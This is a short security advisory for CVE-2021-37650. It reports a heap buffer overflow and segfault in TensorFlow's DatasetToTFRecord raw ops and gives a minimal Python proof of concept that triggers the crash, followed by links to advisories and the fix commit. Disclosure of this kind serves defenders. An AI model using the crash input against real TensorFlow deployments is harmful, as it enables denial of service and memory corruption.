CVE-2021-37650: Segfault and heap buffer overflow in `{Experimental,}DatasetToTFRecord`
(updated )
The implementation for tf.raw_ops.ExperimentalDatasetToTFRecord and tf.raw_ops.DatasetToTFRecord can trigger heap buffer overflow and segmentation fault:
import tensorflow as tf
dataset = tf.data.Dataset.range(3)
dataset = tf.data.experimental.to_variant(dataset)
tf.raw_ops.ExperimentalDatasetToTFRecord(
input_dataset=dataset,
filename='/tmp/output',
compression_type='')
References
- github.com/advisories/GHSA-f8h4-7rgh-q2gm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-563.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-761.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-272.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/e0b6e58c328059829c3eb968136f17aa72b6c876
- github.com/tensorflow/tensorflow/security/advisories/GHSA-f8h4-7rgh-q2gm
- nvd.nist.gov/vuln/detail/CVE-2021-37650
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